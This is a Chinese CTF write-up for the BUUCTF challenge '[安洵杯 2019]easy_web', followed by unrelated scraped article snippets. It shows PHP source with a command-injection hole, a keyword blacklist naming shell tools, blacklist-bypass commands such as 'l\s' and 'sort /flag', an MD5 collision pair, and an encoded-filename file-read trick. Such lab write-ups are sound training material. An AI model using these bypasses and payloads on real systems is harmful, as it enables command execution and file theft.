生而逢时
生而逢时

buuctf_练[安洵杯 2019]easy_web

[安洵杯 2019]easy_web

文章目录

      • [安洵杯 2019]easy_web
      • 掌握知识
      • 解题思路
        • 代码分析
        • 正式解题
      • 关键paylaod

buuctf_练[安洵杯 2019]easy_web_第1张图片

掌握知识

url地址和源代码的信息捕捉；图片和base64之间转换；base64和十六进制编码的了解；代码审计，绕过正则匹配对关键字的过滤；MD5碰撞，md5参数强转类型的强等于绕过

解题思路

  1. 打开题目地址，发现网页信息，狠狠地真实了WEB手。网页没看出什么内容，先查看源代码，发现了一个图片的html标签，里面是对其图片信息进行base64的结果

buuctf_练[安洵杯 2019]easy_web_第2张图片

image-20231027194707860

  1. 没发现特别的信息，看了一眼url地址发现直接给出了了两个参数，查看参数名能感觉到第一个是图片名第二个应该是要执行的命令。但是第一个参数很明显是进行编码的，看其很像是base64经过两次base64和一次十六进制解码得到了文件名为555.png。

image-20231027194939262

image-20231027194944058

  1. 联想一下刚才图片标签中的base64信息，猜测修改文件名就可以进行文件读取的操作。尝试读取index.php文件，先进性16进制编码在进行两次base64进行传参，将标签内的base64编码进行解码，得到了index.php的源代码
index.php
696e6465782e706870
Njk2ZTY0NjU3ODJlNzA2ODcw
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

image-20231027195208334

buuctf_练[安洵杯 2019]easy_web_第3张图片

  1. 得到了源代码就要开始代码审计了，先进性一下简单分析发现关键点在cmd参数，img参数传参再利用完文件读取就没有什么用处了。cmd的参数是系统命令，其中需要绕过挺多的正则的，但都是关键字匹配，可以使用参杂符号来进行绕过，关键的几个符号没有背过滤就好。在执行命令前还需要通过md5的强比较，这里进行了类型的强转，所以使用数组就不可以了，但是相关的paylaod网上还是随便搜索的

error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '';
    die("xixi嚚?no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
";
}
echo $cmd;
echo "
";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "
";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
代码分析
  1. 对于改题目的正则匹配，ls被过滤了但是依旧可以使用参杂符号的形式来绕过，例如l''s l\s进行绕过，这里在shell解析器中都会被当作ls执行，但这里单引号被过滤了，就使用后者进行绕过，读取文件的命令有很多，这里可以使用掺杂符号进行绕过，还可以使用其他的命令进行查看文件内容。没有过滤空格和/还是不错的
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "
";
}
  1. 很明显这是md5函数绕过的判断，不同以往的md5强比较的题目，这里对传入的值进行了了强转字符型的操作，这样就不能使用数组进行绕过了，需要去进行md5碰撞得到两个字符串不相同但是md5的结果相同的。当然这在网上已经烂大街了，搜索一下md5碰撞绕过也就能找到相应的paylaod。通过这波判断也就能执行传入的命令了
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
正式解题
  1. 绕过的条件已经分析好了，直接使用分析得到了的paylaod进行抓包传参，发现目录下并没有flag，前去查看根目录发现flag文件。毕竟是GET传参还是bp抓包，所以空格还是替换成%20才能够被解析

buuctf_练[安洵杯 2019]easy_web_第4张图片

buuctf_练[安洵杯 2019]easy_web_第5张图片

  1. 这里就不使用参杂符号绕过了，使用sort进行读取文件得到flag

buuctf_练[安洵杯 2019]easy_web_第6张图片

关键paylaod

index.php
696e6465782e706870
Njk2ZTY0NjU3ODJlNzA2ODcw
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

cmd=l\s
cmd=l\s%20/
cmd=sort%20/flag

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

你可能感兴趣的:(buuctf刷题,笔记,其他,web安全,php,linux)

  • 美国主要的科技大公司及其产品介绍 C嘎嘎嵌入式开发 科技
    美国主要的科技大公司及其产品介绍1.Apple（苹果公司）概述成立时间：1976年创始人：史蒂夫·乔布斯、史蒂夫·沃兹尼亚克、罗纳德·韦恩总部：加利福尼亚州库比蒂诺主要产品iPhone：智能手机系列，广受欢迎，以其高性能和用户友好的界面著称。iPad：平板电脑系列，适用于多种应用，包括娱乐、工作和教育。Mac：个人电脑系列，包括MacBook（笔记本电脑）和iMac（台式电脑）。AppleWatc
  • 2025全新一代PHP游戏代练系统源码发布|好用的代练订单管理系统 vue.jsphpmysql
    在这里不仅可以找代练，还能成为打手当代练，同时软件中拥有一流的大神、专业的客服团队、高效的代练模式，致力为用户提供优质、高效、快捷、安全的代练服务，并且软件不仅能为您量身打造定制代练需求，还会为您包胜率解决源码获取地址！！！！！源码传送门！！！！此类系统允许用户注册账号、下单委托游戏任务、查看代练进度以及完成任务后的评价等。该系统兼容手机端，提供了良好的用户体验。PHP网站开发基础:PHP是一种广
  • HTML CSS整理笔记（建议收藏） 程序员的生活1 jsweb前端html+csscssjavascripthtmlcss3
    点击链接后退页面：回到上一个网页——修改placeholder提示的样式：打造全网web前端全栈资料库（总目录）看完学的更快，掌握的更加牢固，你值得拥有（持续更新）1.除IE外通用写法类名或标签名::placeholder{color:red;}2.加兼容前缀写法css超出一行显示省略号：给定宽度(width:100px)、超出隐藏（overflow:hidden）、强制在同一行显示（white-
  • 一些我不知道的HTML前端基础知识笔记 han1140521792 学习资料HTML5CSSJavaScript
    点击链接后退页面：回到上一个网页——修改placeholder提示的样式：1.除IE外通用写法类名或标签名::placeholder{color:red;}2.加兼容前缀写法css超出一行显示省略号：给定宽度(width:100px)、超出隐藏（overflow:hidden）、强制在同一行显示（white-space:nowrap）、省略号（text-overflow:ellipsis）——常见
  • 玩转网页交互：用JavaScript打造灵动手风琴特效 skyksksksksks 综合个人杂记javascript交互jqueryhtml5css前端
    一、手风琴特效：网页中的魔法折叠术想象一下你在音乐厅看到的手风琴演奏——轻轻一拉，风箱便如波浪般起伏展开。在网页世界中，手风琴特效正是这种优雅互动的数字化身！当用户点击某个标题时，对应的内容就像被施了魔法般缓缓展开，其他内容则默契地折叠收起。这种设计不仅节省空间，更能让用户像探索藏宝图一样，逐步揭开内容的奥秘。在电商网站的商品详情页，在知识平台的问答专区，甚至在个人作品集网站，手风琴特效都扮演着重
  • Linux 文件 1.4—文件描述符0 1 2（文件操作简述） 胖胖的小肥猫 Linux系统笔记linuxc语言
    文件描述符：关于这些：此处这里讲的十分的详细，清晰，膜拜大佬Linux中有这样一句话，万物皆可文件；1、对于内核而言，所有打开文件都由文件描述符引用，文件描述符是一个非负整数，当打开一个现存文件或者创建一个新文件时，内核向进程返回一个文件描述符，当读写一个文件时，用open(）和creat(）返回文件描述符标识该文件，将其作文参数，传递给read和write。而在Linux系统中，有默认文件描述符
  • 小米平板怎么和电脑共享屏幕 安吉尼尔 办公技能电脑
    最近尝试使用小米平板和电脑屏幕分屏互联发现是需要做特殊处理的，需要下载一款电脑安装包：小米妙享关于这个安装包，想吐槽的是：没有找到官网渠道，是通过其他网络方式查到下载的不附录链接，原因是因为地址不一定一直有效，各位看官各自大显神通下载后的安装包需要做解压，这里比较人性化的几点：1.安装前会进行系统适用性评估2.适用的场景可查看，可以参考点击参考界面：点击后，打开了一个浏览器界面，说明了适用设备：小
  • Ajax请求 动态查询回显数据 zkm-dakn javawebajax服务器p2p
    1.同步和异步例：普通B/S模式（同步）AJAX技术（异步）同步：提交请求-->等待服务器处理-->处理完毕返回-->这个期间客户端浏览器不能干任何事异步：请求通过时间触发-->服务器处理（这时浏览器任然可以作其他事情）-->处理完毕同步是指：发送方发出数后，等待收方发回响应以后才发下一个数据包的通讯方式异步是指：发送方发出数据后，不等待收方发回响应，接着发送下个数据包的通讯方式通俗点说：异步传输
  • 小爱音箱连接电脑外放之后，浏览器网页视频暂停播放后，音箱整体没声音问题解决 ShyTan 电脑音视频
    背景22年买的小爱音箱增强版play，小爱音箱连接电脑外放之后，浏览器网页视频暂停播放后，音箱整体没声音（一边打着游戏，一边听歌，一边放视频，视频一暂停，什么声音都没了，视频继续播放，游戏和歌曲的声音就出来了），我以为是我的联想r7000p笔记本不兼容，平时小爱音箱也一直当智能助手来着，就没研究。今天突然想用小爱音箱当外放设备，解决一下这个bug。解决小爱音箱连接电脑后，进入设备与打印机管理页面，
  • Linux基础03-指令篇之文件及其内容相关操作【入门级】 kk努力学编程 linux服务器运维
    Linux基础-文件操作内容概要本文主要介绍了在linux系统中如何通过终端指令对文件以及文件内容进行增删改查。同时上传了关于存储转换的小知识点。指令cat/less/more/head/tailcat：查看文件内容（少）执行权限：所有用户语法：cat[选项]文件选项-n：显示文件行号范例：cat/proc/cpuinfocat-n/proc/cpuinfomore：分页查看文件内容（多）执行权限
  • 联想小新 510S-14IKB (80UX) 原厂Win10系统oem镜像下载 无限的奇迹 电脑
    小新510S-14IKB(80UX)原厂Win11系统oem镜像下载原厂Win11系统oem镜像下载文件地址:点击下载提供联想小新510S-14IKB(80UX)笔记本电脑的原厂Windows11系统oem镜像下载。该镜像为官方发布，确保系统纯净且兼容性最佳。资源文件描述该资源文件为联想小新510S-14IKB(80UX)笔记本电脑的原厂Windows11系统oem镜像。通过下载并安装此镜像，用户
  • Linux 查看文件的超强命令集合与实用技巧大揭秘 疯狂的键盘侠 linuxlinux
    Linux查看文件的超强命令集合与实用技巧大揭秘在Linux系统这片广阔天地里，查看文件内容是日常操作中最频繁的任务之一。无论是排查系统故障、分析日志，还是研读配置文档，掌握多样化的文件查看命令及技巧，都能让你如虎添翼，迅速定位所需信息。今天，就为大家呈上这份精心整理的Linux查看文件命令与技巧指南。一、基础查看命令cat：全称concatenate，简单直接，用于查看文本文件内容并输出到终端。
  • Linux内存管理：深度解析与探索 深度Linux Linux内存管理linuxLinux内核内存映射
    你是否想过，在Linux系统中，当你打开一个程序、浏览网页或者处理文件时，这些数据都存放在哪里呢？答案就是内存。Linux内存管理就像是一个超级大管家，它负责管理着系统中所有数据的“家”。这个“家”的空间有限，却要容纳各种各样的数据，而且要保证每个数据都能被快速准确地找到和使用。它需要智慧地分配房间（内存空间），合理地安排住户（进程），还要及时清理不再需要的杂物（回收内存）。今天，我们就一起深入了
  • 【Excel笔记_6】条件格式和自定义格式设置表中数值超过100保留1位，超过1000保留0位，低于100为默认 科熊小猪 Officeexcel笔记
    方法一：自定义格式选中需要设置格式的单元格区域。右键选择设置单元格格式，或者在工具栏中选择开始->数字->自定义格式。在类型框中输入以下自定义格式：[>1000]0;[>100]0.0;G/通用格式解释：[>1000]0：大于1000时，保留0位小数。[>100]0.0：大于100且小于等于1000时，保留1位小数。G/通用格式：其余情况下（即小于等于100），显示为默认格式（即一般的数字格式）。
  • Go分布式爬虫笔记（五）_golang分布式爬虫架构 2401_87198107 golang分布式爬虫
    系统级别优化与架构设计：如何对服务进行拆分如何将服务链接在一起服务调用的关系以及调用频率各种问题：如何让服务随着负载的增加具有可扩展性？是否采用DDD的架构设计？如何进行分布式的协调？选择何种中间件、缓存数据库与存储数据库？使用何种通信方式？如何设计缓存与数据库的关系，才能避免缓存失效之后大量数据直接打到数据库导致的服务响应变慢甚至服务雪崩的问题呢？分布式系统中数据的一致性，如果业务能够接受读取到
  • 在linux 中搭建deepseek 做微调，硬件配置要求说明 慧香一格 学习AIlinux服务器deepseek
    搭建可参考使用deepseek-CSDN博客官方网站：DeepSeekDeepSeek是一个基于深度学习的开源项目，旨在通过深度学习技术来提升搜索引擎的准确性和效率。如果你想在Linux系统上搭建DeepSeek，你可以遵循以下步骤。这里我将提供一个基本的指导，帮助你从零开始搭建一个基础的DeepSeek环境。1.安装依赖首先，确保你的Linux系统上安装了Python和pip。DeepSeek主
  • 函数的返回值的使用 print('name') Pythonpython开发语言pycharmvisualstudiocode数据结构
    笔记defcalc(a,b):print(a+b)calc(10,20)print(calc(1,2))#Nonedefcalc2(a,b):s=a+breturns#将s返回给函数的调用处去处理print('-'*8)get_s=calc2(1,2)#储存到变量中print(get_s)get_s2=calc2(calc2(1,2),3)#1+2+3先去执行calc2(1,2)返回结果为3，再去
  • PHP + XlsWriter实现百万级数据导入导出，如何实现 程序员阿凡提 PHP实战教程php开发语言
    在PHP中使用XlsWriter（如xlswriter扩展）处理百万级数据的导入导出，需重点解决内存占用和性能问题。以下是分步骤的实现方案：一、环境准备1安装xlswriter扩展从PECL安装：peclinstallxlswriter在php.ini中启用扩展：extension=xlswriter.so2调整PHP配置处理大数据时需增加内存和执行时间限制：memory_limit=1024Mm
  • 通用评估系统（一） 一个水货程序员 项目实战前端fastapipythonvue
    项目介绍建设背景由于小水今年有买房子的需求，由于预算加上本人能力有限，所以想尽可能的去选择一个满意的、合适的。就房屋基础条件而言，有很多比较好的，但未必适合小水实际条件的。所以，搭建该评估系统，辅助小水对房屋情况进行评估分析，去选择一个最合适的房子。此外，由于小水平时就有些选择困难症，在对重大事务做选择时，往往果断选择之后会后悔，所以，系统将具有一定的通用性，为以后进行其他选择时提供辅助。系统概述
  • M1 Mac双系统搭建qemu riscv linux仿真 灰灰h 操作系统经验分享linuxrisc-vmacos
    前言实验需要riscv仿真，网上没有针对m1的配置教程，故在此整理下。本人用的m1macbookpro，系统12.3。参考到的链接：https://github.com/AsahiLinuxhttps://risc-v-getting-started-guide.readthedocs.io/en/latest/linux-qemu.htmlhttps://zhuanlan.zhihu.com/p
  • 推荐系统Day2笔记 『₣λ¥√≈üĐ』 机器学习人工智能
    协同过滤（CollaborativeFiltering）推荐算法是最经典、最常用的推荐算法。基本思想是：根据用户之前的喜好以及其他兴趣相近的用户的选择来给用户推荐物品。基于对用户历史行为数据的挖掘发现用户的喜好偏向，并预测用户可能喜好的产品进行推荐。一般是仅仅基于用户的行为数据（评价、购买、下载等）,而不依赖于项的任何附加信息（物品自身特征）或者用户的任何附加信息（年龄，性别等）。目前应用比较广泛
  • Python字符模糊匹配指南 RapidFuzz | python小知识 aiweker 跟我学pythonpython服务器linux
    Python字符模糊匹配指南RapidFuzz|python小知识最近在看一个rag评估的框架中，看一个字符模糊匹配的库RapidFuzz，在这里介绍给大家。1.RapidFuzz简介RapidFuzz是一个用于Python的快速模糊字符串匹配库，它基于Levenshtein距离和其他相似度度量方法，能够高效地进行字符串比较和匹配。RapidFuzz旨在提供一个快速、准确、易用的模糊匹配工具，特别
  • 【Linux&Python】linux中通过源码方式安装python环境 atwdy 环境安装与配置linuxpython运维
    python环境安装直接看第二部分即可。文章目录1.背景2.python安装3.包环境复制1.背景部署一个线上任务时，相同的代码本地开发机正常产出数据，线上产出数据为0，排查到原因是：...File"/home/disk1/wangdeyong/venv/python3_shapely_new/lib/python3.9/site-packages/mcpack/pack.py",line15,i
  • Druid密码错误重试导致数据库超慢 后端
    密码错误重试导致数据库超慢有同事把项目的数据库密码配错了，导致其他所有连接该数据库的项目全部连接都获取缓慢了，一个页面加载要花费十几秒。排查mysql连接发现很多connect命令的连接showfullPROCESSLIST由于连接的host全是我们服务器的ip，所以一开始想到的是服务器是不是被黑了，然后频繁的尝试破解数据库密码赶紧查了一下是哪个进程在连接数据库netstat-anp|grep33
  • 并发编程利器 - CountDownLatch 小马不敲代码 Java并发编程
    什么是CountDownLatch？CountDownLatch是Java并发包（java.util.concurrent）中的一个实用类，它允许一个或多个线程等待其他线程完成一组操作。CountDownLatch在初始化时设置一个计数值（count），这个值表示需要等待完成的操作数量。每当一个操作完成时，CountDownLatch的计数就会减1。当计数到达0时，等待的线程就会被唤醒，继续执行后
  • Go核心开发学习笔记(廿九) —— 反射 已开挂的24K Golang开发编程
    反射使用的地方序列化和反序列化时，如果希望序列时将结构体字段名称大写转换成小写，json："xxx"这里就用到了反射。两个匿名函数变量，定义一个适配器函数用作统一处理接口：适配器函数：假设匿名函数名字为,匿名函数中参数为a,b…则适配器函数为func(,a,b…)就是说建立一个模板，匿名函数函数名称和匿名函数中的参数都作为适配器函数的参数传递。反射价值在于自己可以开发go框架。反射原理反射可以在运
  • 如何在Ubuntu中切换多个PHP版本 小小虫码 ubuntuphplinux
    在Ubuntu环境下实现PHP版本的灵活切换，是众多开发者与系统管理员的重要技能之一。下面，我们将深入探讨如何在Ubuntu系统中安装、配置及管理多个PHP版本，确保您的开发环境随心所欲地适应各类项目需求。开始前的准备确保您的Ubuntu系统保持最新状态，使用以下命令进行系统更新：sudoapt-getupdatesudoapt-getupgrade​随后，安装必要的软件包，为后续的PHP版本管理
  • ERROR: could not inset ‘edd‘ lsw1990lsw centos
    1、进入该界面后键入"e"键进行编辑，vmlinuzinitrd.imginst.stage2=hd:LABEL=centOS\x207\x20x86_64rd.live.checkquiet把上述信息，修改为：vmlinuzinitrd.imglinuxddquiet2、按屏幕最下方提示按下“Ctrl+x”运行然后找到自己的u盘盘符，一般对应的是“centOS\x207\x20x86_64”，盘
  • Lua脚本核心语法介绍 阿湯哥 luajunit开发语言
    Lua是一种轻量级、高效的脚本语言，其解释器核心是用C语言编写的，因此具有出色的可移植性和嵌入性（可轻松集成到其他程序中）。以下是其核心语法特性：一、基础语法特点简洁的语法结构语句以换行或分号结束，无需强制分号。注释：--单行注释或--[[多行注释]]。动态类型系统变量无需声明类型，类型与值绑定：locala=10--整数a="hello"--切换为字符串a=3.14--切换为浮点数变量作用域默认
  • 【八股】Spring篇 林子漾 八股项目springjava后端
    whySpring?1.使用它的IOC功能，在解耦上达到了配置级别。2.使用它对数据库访问事务相关的封装。3.各种其他组件与Spring的融合，在Spring中更加方便快捷的继承其他一些组件。IoC和DIIOC是InversionofControl的缩写，“控制反转”之意。在没有引入IOC容器之前，对象A依赖于对象B，那么对象A在初始化或者运行到某一点的时候，自己必须主动去创建对象B或者使用已经创
  • ASM系列五 利用TreeApi 解析生成Class lijingyao8206 ASM字节码动态生成ClassNodeTreeAPI
       前面CoreApi的介绍部分基本涵盖了ASMCore包下面的主要API及功能，其中还有一部分关于MetaData的解析和生成就不再赘述。这篇开始介绍ASM另一部分主要的Api。TreeApi。这一部分源码是关联的asm-tree-5.0.4的版本。          在介绍前，先要知道一点， Tree工程的接口基本可以完
  • 链表树——复合数据结构应用实例 bardo 数据结构树型结构表结构设计链表菜单排序
    我们清楚：数据库设计中，表结构设计的好坏，直接影响程序的复杂度。所以，本文就无限级分类（目录）树与链表的复合在表设计中的应用进行探讨。当然，什么是树，什么是链表，这里不作介绍。有兴趣可以去看相关的教材。 需求简介： 经常遇到这样的需求，我们希望能将保存在数据库中的树结构能够按确定的顺序读出来。比如，多级菜单、组织结构、商品分类。更具体的，我们希望某个二级菜单在这一级别中就是第一个。虽然它是最后
  • 为啥要用位运算代替取模呢 chenchao051 位运算哈希汇编
        在hash中查找key的时候，经常会发现用&取代%，先看两段代码吧，     JDK6中的HashMap中的indexFor方法： /** * Returns index for hash code h. */ static int indexFor(int h, int length) {
  • 最近的情况 麦田的设计者 生活感悟计划软考想
          今天是2015年4月27号      整理一下最近的思绪以及要完成的任务             1、最近在驾校科目二练车，每周四天，练三周。其实做什么都要用心，追求合理的途径解决。为
  • PHP去掉字符串中最后一个字符的方法 IT独行者 PHP字符串
    今天在PHP项目开发中遇到一个需求，去掉字符串中的最后一个字符 原字符串1,2,3,4,5,6, 去掉最后一个字符","，最终结果为1,2,3,4,5,6 代码如下： $str = "1,2,3,4,5,6,"; $newstr = substr($str,0,strlen($str)-1); echo $newstr;
  • hadoop在linux上单机安装过程 _wy_ linuxhadoop
    1、安装JDK     jdk版本最好是1.6以上，可以使用执行命令java -version查看当前JAVA版本号，如果报命令不存在或版本比较低，则需要安装一个高版本的JDK，并在/etc/profile的文件末尾，根据本机JDK实际的安装位置加上以下几行：    export JAVA_HOME=/usr/java/jdk1.7.0_25  
  • JAVA进阶----分布式事务的一种简单处理方法 无量 多系统交互分布式事务
    每个方法都是原子操作： 提供第三方服务的系统，要同时提供执行方法和对应的回滚方法 A系统调用B,C,D系统完成分布式事务 =========执行开始======== A.aa(); try { B.bb(); } catch(Exception e) { A.rollbackAa(); } try { C.cc(); } catch(Excep
  • 安墨移动广 告：移动DSP厚积薄发 引领未来广 告业发展命脉 矮蛋蛋 hadoop互联网
    　　“谁掌握了强大的DSP技术，谁将引领未来的广 告行业发展命脉。”2014年，移动广 告行业的热点非移动DSP莫属。各个圈子都在纷纷谈论，认为移动DSP是行业突破点，一时间许多移动广 告联盟风起云涌，竞相推出专属移动DSP产品。 　　到底什么是移动DSP呢? 　　DSP(Demand-SidePlatform)，就是需求方平台，为解决广 告主投放的各种需求，真正实现人群定位的精准广
  • myelipse设置 alafqq IP
      在一个项目的完整的生命周期中，其维护费用，往往是其开发费用的数倍。因此项目的可维护性、可复用性是衡量一个项目好坏的关键。而注释则是可维护性中必不可少的一环。 注释模板导入步骤  安装方法： 打开eclipse/myeclipse 选择 window-->Preferences-->JAVA-->Code-->Code
  • java数组 百合不是茶 java数组
    java数组的   声明  创建  初始化；   java支持C语言      数组中的每个数都有唯一的一个下标 一维数组的定义 声明： int[] a = new int[3];声明数组中有三个数int[3] int[] a 中有三个数，下标从0开始，可以同过for来遍历数组中的数
  • javascript读取表单数据 bijian1013 JavaScript
    利用javascript读取表单数据，可以利用以下三种方法获取： 1、通过表单ID属性：var a = document.getElementByIdx_x_x("id"); 2、通过表单名称属性：var b = document.getElementsByName("name"); 3、直接通过表单名字获取：var c = form.content.
  • 探索JUnit4扩展：使用Theory bijian1013 javaJUnitTheory
    理论机制（Theory） 一.为什么要引用理论机制（Theory）         当今软件开发中，测试驱动开发（TDD — Test-driven development）越发流行。为什么 TDD 会如此流行呢？因为它确实拥有很多优点，它允许开发人员通过简单的例子来指定和表明他们代码的行为意图。 TDD 的优点：     &nb
  • [Spring Data Mongo一]Spring Mongo Template操作MongoDB bit1129 template
    什么是Spring Data Mongo Spring Data MongoDB项目对访问MongoDB的Java客户端API进行了封装，这种封装类似于Spring封装Hibernate和JDBC而提供的HibernateTemplate和JDBCTemplate，主要能力包括 1. 封装客户端跟MongoDB的链接管理 2. 文档-对象映射，通过注解:@Document(collectio
  • 【Kafka八】Zookeeper上关于Kafka的配置信息 bit1129 zookeeper
    问题： 1. Kafka的哪些信息记录在Zookeeper中 2. Consumer Group消费的每个Partition的Offset信息存放在什么位置 3. Topic的每个Partition存放在哪个Broker上的信息存放在哪里 4. Producer跟Zookeeper究竟有没有关系？没有关系！！！   //consumers、config、brokers、cont
  • java OOM内存异常的四种类型及异常与解决方案 ronin47 java OOM 内存异常
          　OOM异常的四种类型： 　　　 　　一：　StackOverflowError ：通常因为递归函数引起（死递归，递归太深）。-Xss 128k 一般够用。     　  二：　out Of memory: PermGen Space：通常是动态类大多，比如web 服务器自动更新部署时引起。-Xmx
  • java-实现链表反转-递归和非递归实现 bylijinnan java
    20120422更新： 对链表中部分节点进行反转操作，这些节点相隔k个： 0->1->2->3->4->5->6->7->8->9 k=2 8->1->6->3->4->5->2->7->0->9 注意1 3 5 7 9 位置是不变的。 解法： 将链表拆成两部分： a.0-&
  • Netty源码学习-DelimiterBasedFrameDecoder bylijinnan javanetty
    看DelimiterBasedFrameDecoder的API，有举例： 接收到的ChannelBuffer如下： +--------------+ | ABC\nDEF\r\n | +--------------+ 经过DelimiterBasedFrameDecoder(Delimiters.lineDelimiter())之后，得到： +-----+----
  • linux的一些命令 -查看cc攻击-网口ip统计等 hotsunshine linux
    Linux判断CC攻击命令详解 2011年12月23日 ⁄ 安全 ⁄ 暂无评论 查看所有80端口的连接数 netstat -nat|grep -i '80'|wc -l 对连接的IP按连接数量进行排序 netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n 查看TCP连接状态 n
  • Spring获取SessionFactory ctrain sessionFactory
    String sql = "select sysdate from dual"; WebApplicationContext wac = ContextLoader.getCurrentWebApplicationContext(); String[] names = wac.getBeanDefinitionNames(); for(int i=0; i&
  • Hive几种导出数据方式 daizj hive数据导出
    Hive几种导出数据方式   1.拷贝文件   如果数据文件恰好是用户需要的格式，那么只需要拷贝文件或文件夹就可以。 hadoop fs –cp source_path target_path   2.导出到本地文件系统   --不能使用insert into local directory来导出数据，会报错 --只能使用
  • 编程之美 dcj3sjt126com 编程PHP重构
    我个人的 PHP 编程经验中，递归调用常常与静态变量使用。静态变量的含义可以参考 PHP 手册。希望下面的代码，会更有利于对递归以及静态变量的理解   header("Content-type: text/plain"); function static_function () { static $i = 0; if ($i++ < 1
  • Android保存用户名和密码 dcj3sjt126com android
    转自：http://www.2cto.com/kf/201401/272336.html 我们不管在开发一个项目或者使用别人的项目，都有用户登录功能，为了让用户的体验效果更好，我们通常会做一个功能，叫做保存用户，这样做的目地就是为了让用户下一次再使用该程序不会重新输入用户名和密码，这里我使用3种方式来存储用户名和密码 1、通过普通 的txt文本存储 2、通过properties属性文件进行存
  • Oracle 复习笔记之同义词 eksliang Oracle 同义词Oracle synonym
    转载请出自出处：http://eksliang.iteye.com/blog/2098861 1.什么是同义词       同义词是现有模式对象的一个别名。       概念性的东西，什么是模式呢？创建一个用户，就相应的创建了 一个模式。模式是指数据库对象，是对用户所创建的数据对象的总称。模式对象包括表、视图、索引、同义词、序列、过
  • Ajax案例 gongmeitao Ajaxjsp
    数据库采用Sql Server2005 项目名称为:Ajax_Demo 1.com.demo.conn包 package com.demo.conn; import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLException; //获取数据库连接的类public class DBConnec
  • ASP.NET中Request.RawUrl、Request.Url的区别 hvt .netWebC#asp.nethovertree
      如果访问的地址是：http://h.keleyi.com/guestbook/addmessage.aspx?key=hovertree%3C&n=myslider#zonemenu那么Request.Url.ToString() 的值是：http://h.keleyi.com/guestbook/addmessage.aspx?key=hovertree<&
  • SVG 教程 （七）SVG 实例，SVG 参考手册 天梯梦 svg
    SVG 实例 在线实例 下面的例子是把SVG代码直接嵌入到HTML代码中。 谷歌Chrome，火狐，Internet Explorer9，和Safari都支持。 注意：下面的例子将不会在Opera运行，即使Opera支持SVG - 它也不支持SVG在HTML代码中直接使用。   SVG 实例 SVG基本形状 一个圆 矩形 不透明矩形 一个矩形不透明2 一个带圆角矩
  • 事务管理 luyulong javaspring编程事务
    事物管理 spring事物的好处 为不同的事物API提供了一致的编程模型 支持声明式事务管理 提供比大多数事务API更简单更易于使用的编程式事务管理API 整合spring的各种数据访问抽象 TransactionDefinition 定义了事务策略 int getIsolationLevel()得到当前事务的隔离级别 READ_COMMITTED 
  • 基础数据结构和算法十一：Red-black binary search tree sunwinner AlgorithmRed-black
      The insertion algorithm for 2-3 trees just described is not difficult to understand; now, we will see that it is also not difficult to implement. We will consider a simple representation known
  • centos同步时间 stunizhengjia linux集群同步时间
    做了集群，时间的同步就显得非常必要了。 以下是查到的如何做时间同步。 在CentOS 5不再区分客户端和服务器，只要配置了NTP，它就会提供NTP服务。 1)确认已经ntp程序包： # yum install ntp 2)配置时间源（默认就行，不需要修改） # vi /etc/ntp.conf server pool.ntp.o
  • ITeye 9月技术图书有奖试读获奖名单公布 ITeye管理员 ITeye
    ITeye携手博文视点举办的9月技术图书有奖试读活动已圆满结束，非常感谢广大用户对本次活动的关注与参与。 9月试读活动回顾：http://webmaster.iteye.com/blog/2118112本次技术图书试读活动的优秀奖获奖名单及相应作品如下（优秀文章有很多，但名额有限，没获奖并不代表不优秀）：      《NFC：Arduino、Andro
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他